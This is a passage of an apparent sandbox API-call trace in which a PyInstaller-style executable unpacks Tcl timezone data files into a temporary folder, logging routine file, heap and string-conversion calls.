Flags=0x0, Size=0x90) returned 0x55cfe0 [0041.369] htonl (hostlong=0x90000000) returned 0x90 [0041.369] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.369] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.369] htonl (hostlong=0xb9000000) returned 0xb9 [0041.369] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55dd88 [0041.369] htonl (hostlong=0x90000000) returned 0x90 [0041.369] htonl (hostlong=0xb9000000) returned 0xb9 [0041.369] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.369] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.369] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.369] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.369] CloseHandle (hObject=0x10c) returned 1 [0041.369] GetLastError () returned 0x0 [0041.369] SetLastError (dwErrCode=0x0) [0041.369] GetLastError () returned 0x0 [0041.369] SetLastError (dwErrCode=0x0) [0041.370] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.370] GetFileType (hFile=0x10c) returned 0x1 [0041.370] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.370] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.370] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.370] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.370] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.370] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.370] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.370] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.370] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.370] CloseHandle (hObject=0x10c) returned 1 [0041.370] GetLastError () returned 0x0 [0041.370] SetLastError (dwErrCode=0x0) [0041.370] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.370] GetFileType (hFile=0x10c) returned 0x1 [0041.370] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.370] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.370] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.370] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.370] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.370] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.370] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.371] CloseHandle (hObject=0x10c) returned 1 [0041.371] GetLastError () returned 0x0 [0041.371] SetLastError (dwErrCode=0x0) [0041.371] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada") returned 63 [0041.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.371] GetFileType (hFile=0x10c) returned 0x1 [0041.371] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.371] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.371] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.371] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.371] CloseHandle (hObject=0x10c) returned 1 [0041.371] GetLastError () returned 0x0 [0041.371] SetLastError (dwErrCode=0x0) [0041.371] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Saskatchewan") returned 76 [0041.371] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Saskatchewan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\saskatchewan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.371] GetLastError () returned 0x2 [0041.371] SetLastError (dwErrCode=0x2) [0041.371] GetLastError () returned 0x2 [0041.371] SetLastError (dwErrCode=0x2) [0041.372] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Saskatchewan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Saskatchewan", lpFilePart=0x0) returned 0x4b [0041.372] GetLastError () returned 0x2 [0041.372] SetLastError (dwErrCode=0x2) [0041.372] GetLastError () returned 0x2 [0041.372] SetLastError (dwErrCode=0x2) [0041.372] GetLastError () returned 0x2 [0041.372] SetLastError (dwErrCode=0x2) [0041.372] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Saskatchewan") returned 76 [0041.372] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Saskatchewan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\saskatchewan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.372] GetFileType (hFile=0x10c) returned 0x1 [0041.372] htonl (hostlong=0xb9000000) returned 0xb9 [0041.372] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.372] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0041.374] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.374] CloseHandle (hObject=0x10c) returned 1 [0041.374] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dd88 | out: hHeap=0x530000) returned 1 [0041.374] htonl (hostlong=0x40000000) returned 0x40 [0041.374] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.374] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.374] GetFileType (hFile=0x10c) returned 0x1 [0041.374] htonl (hostlong=0xdba45b00) returned 0x5ba4db [0041.374] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6054db, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.374] htonl (hostlong=0x8f000000) returned 0x8f [0041.374] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0041.374] htonl (hostlong=0x8f000000) returned 0x8f [0041.374] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.374] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.374] htonl (hostlong=0xbe000000) returned 0xbe [0041.374] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe) returned 0x55d8d8 [0041.374] htonl (hostlong=0x8f000000) returned 0x8f [0041.374] htonl (hostlong=0xbe000000) returned 0xbe [0041.374] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.375] CloseHandle (hObject=0x10c) returned 1 [0041.375] GetLastError () returned 0x0 [0041.375] SetLastError (dwErrCode=0x0) [0041.375] GetLastError () returned 0x0 [0041.375] SetLastError (dwErrCode=0x0) [0041.375] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.375] GetFileType (hFile=0x10c) returned 0x1 [0041.375] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.375] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.375] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.375] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.375] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.375] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.375] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.375] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.375] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.375] CloseHandle (hObject=0x10c) returned 1 [0041.375] GetLastError () returned 0x0 [0041.375] SetLastError (dwErrCode=0x0) [0041.375] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.376] GetFileType (hFile=0x10c) returned 0x1 [0041.376] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.376] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.376] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.376] CloseHandle (hObject=0x10c) returned 1 [0041.376] GetLastError () returned 0x0 [0041.376] SetLastError (dwErrCode=0x0) [0041.376] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada") returned 63 [0041.376] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.376] GetFileType (hFile=0x10c) returned 0x1 [0041.376] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.376] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.376] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.376] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.376] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.377] CloseHandle (hObject=0x10c) returned 1 [0041.377] GetLastError () returned 0x0 [0041.377] SetLastError (dwErrCode=0x0) [0041.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Yukon") returned 69 [0041.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Yukon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\yukon"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.377] GetLastError () returned 0x2 [0041.377] SetLastError (dwErrCode=0x2) [0041.377] GetLastError () returned 0x2 [0041.377] SetLastError (dwErrCode=0x2) [0041.377] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Yukon", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Yukon", lpFilePart=0x0) returned 0x44 [0041.377] GetLastError () returned 0x2 [0041.377] SetLastError (dwErrCode=0x2) [0041.377] GetLastError () returned 0x2 [0041.377] SetLastError (dwErrCode=0x2) [0041.377] GetLastError () returned 0x2 [0041.377] SetLastError (dwErrCode=0x2) [0041.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Yukon") returned 69 [0041.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Yukon" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\yukon"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.378] GetFileType (hFile=0x10c) returned 0x1 [0041.378] htonl (hostlong=0xbe000000) returned 0xbe [0041.378] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.378] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbe, lpOverlapped=0x0) returned 1 [0041.379] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.379] CloseHandle (hObject=0x10c) returned 1 [0041.379] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d8d8 | out: hHeap=0x530000) returned 1 [0041.379] htonl (hostlong=0x30000000) returned 0x30 [0041.379] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.379] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.379] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.379] GetFileType (hFile=0x10c) returned 0x1 [0041.379] htonl (hostlong=0x6aa55b00) returned 0x5ba56a [0041.379] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60556a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.379] htonl (hostlong=0x8e000000) returned 0x8e [0041.379] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0041.379] htonl (hostlong=0x8e000000) returned 0x8e [0041.379] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.380] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.380] htonl (hostlong=0xbd000000) returned 0xbd [0041.380] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbd) returned 0x55d9a0 [0041.380] htonl (hostlong=0x8e000000) returned 0x8e [0041.380] htonl (hostlong=0xbd000000) returned 0xbd [0041.380] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.380] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.380] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.380] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.380] CloseHandle (hObject=0x10c) returned 1 [0041.380] GetLastError () returned 0x0 [0041.380] SetLastError (dwErrCode=0x0) [0041.380] GetLastError () returned 0x0 [0041.380] SetLastError (dwErrCode=0x0) [0041.380] MultiByteToWideChar (in: CodePage=0xfde9, 